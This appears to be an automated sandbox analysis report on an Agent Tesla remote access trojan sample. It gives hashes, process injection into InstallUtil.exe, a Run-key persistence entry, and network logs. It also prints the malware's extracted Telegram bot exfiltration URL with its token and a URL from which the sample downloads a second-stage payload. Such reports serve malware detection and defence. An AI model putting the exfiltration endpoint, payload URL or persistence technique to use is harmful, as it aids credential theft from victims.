Analysis
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max time kernel
94s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
08/10/2024, 01:34 UTC
Static task
static1
Behavioral task
behavioral1
Sample
4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe
Resource
win10v2004-20241007-en
General
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Target
4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe
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Size
2.8MB
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MD5
05aae520bbc216edc07abeb07c5f763e
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SHA1
38fc6fb1076e9cce368b55ef4491652384209560
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SHA256
4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2
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SHA512
b3bbec0d5a04beb2ec108638b7509bd6741542ddec2b53138983cafc41c9bb5192492838cfa97360c9726edc0535b817a5c5da277a342813615f6c8989305b86
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SSDEEP
24576:nC6uNvi15kGX4QnksdqJySDJB37yxYJaKBd021ut+yOCc3BtxqSVVg6vB7uXeXd:fOXXvoEm0TucvJ9CDT2uEDmAEx
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot7162202130:AAHTxdkbyFCUMWCzyf9jutDYYrL6rqEAva4/
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4612 created 3440 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 56 -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nsmid = "C:\\Users\\Admin\\AppData\\Roaming\\Nsmid.exe" 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4612 set thread context of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 4920 InstallUtil.exe 4920 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe Token: SeDebugPrivilege 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe Token: SeDebugPrivilege 4920 InstallUtil.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85 PID 4612 wrote to memory of 4920 4612 4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe 85
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3440
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C:\Users\Admin\AppData\Local\Temp\4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe"C:\Users\Admin\AppData\Local\Temp\4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4612
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4920
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Network
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Remote address:8.8.8.8:53Requestwymascensores.comIN AResponsewymascensores.comIN A67.212.175.162
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GEThttps://wymascensores.com/mandas/Mjvzchsck.vdf4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exeRemote address:67.212.175.162:443RequestGET /mandas/Mjvzchsck.vdf HTTP/1.1
Host: wymascensores.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 04 Oct 2024 06:46:57 GMT
Accept-Ranges: bytes
Content-Length: 958472
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
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Remote address:8.8.8.8:53Requestg.bing.comIN AResponseg.bing.comIN CNAMEg-bing-com.ax-0001.ax-msedge.netg-bing-com.ax-0001.ax-msedge.netIN CNAMEax-0001.ax-msedge.netax-0001.ax-msedge.netIN A150.171.27.10ax-0001.ax-msedge.netIN A150.171.28.10
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Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
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Remote address:8.8.8.8:53Request133.32.126.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request162.175.212.67.in-addr.arpaIN PTRResponse162.175.212.67.in-addr.arpaIN PTRcrystalsuperdomainzonecom
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GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=Remote address:150.171.27.10:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MUID=2F0DB6EB0C2961513214A3F90D2F6078; domain=.bing.com; expires=Sun, 02-Nov-2025 02:25:09 GMT; path=/; SameSite=None; Secure; Priority=High;
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 1BF345A43AF84C6090E52B044FFA3B0D Ref B: LON601060107023 Ref C: 2024-10-08T02:25:09Z
date: Tue, 08 Oct 2024 02:25:09 GMT
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GEThttps://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=Remote address:150.171.27.10:443RequestGET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=2F0DB6EB0C2961513214A3F90D2F6078
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MSPTC=jN2vGNYt8dXnjt4ik3PtPFaJEJWq67tR19E-AygUKvw; domain=.bing.com; expires=Sun, 02-Nov-2025 02:25:09 GMT; path=/; Partitioned; secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: EFF50C67028A445CA72389627D1C2039 Ref B: LON601060107023 Ref C: 2024-10-08T02:25:09Z
date: Tue, 08 Oct 2024 02:25:09 GMT
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GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=Remote address:150.171.27.10:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=2F0DB6EB0C2961513214A3F90D2F6078; MSPTC=jN2vGNYt8dXnjt4ik3PtPFaJEJWq67tR19E-AygUKvw
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: F502D1152CDE4D6AB0D7CA389F47A167 Ref B: LON601060107023 Ref C: 2024-10-08T02:25:09Z
date: Tue, 08 Oct 2024 02:25:09 GMT
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Remote address:8.8.8.8:53Request58.99.105.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request83.210.23.2.in-addr.arpaIN PTRResponse83.210.23.2.in-addr.arpaIN PTRa2-23-210-83deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request21.236.111.52.in-addr.arpaIN PTRResponse
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67.212.175.162:443https://wymascensores.com/mandas/Mjvzchsck.vdftls, http4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe23.8kB 994.3kB 464 721
HTTP Request
GET https://wymascensores.com/mandas/Mjvzchsck.vdfHTTP Response
200 -
150.171.27.10:443https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=tls, http22.0kB 9.4kB 22 19
HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=a2d507f8600c4302b1cad9168d83f481&localId=w:0C449796-1E55-FEFD-C5A5-A0B044A63D2B&deviceId=6896208601980624&anid=HTTP Response
204
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8.8.8.8:53wymascensores.comdns4aea573eeb1ef07b8186fc10089dd972303f2ca89c5758932edff01dbb6203c2.exe63 B 79 B 1 1
DNS Request
wymascensores.com
DNS Response
67.212.175.162
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56 B 148 B 1 1
DNS Request
g.bing.com
DNS Response
150.171.27.10150.171.28.10
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66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
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72 B 158 B 1 1
DNS Request
133.32.126.40.in-addr.arpa
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73 B 114 B 1 1
DNS Request
162.175.212.67.in-addr.arpa
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71 B 157 B 1 1
DNS Request
58.99.105.20.in-addr.arpa
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73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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70 B 133 B 1 1
DNS Request
83.210.23.2.in-addr.arpa
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72 B 158 B 1 1
DNS Request
21.236.111.52.in-addr.arpa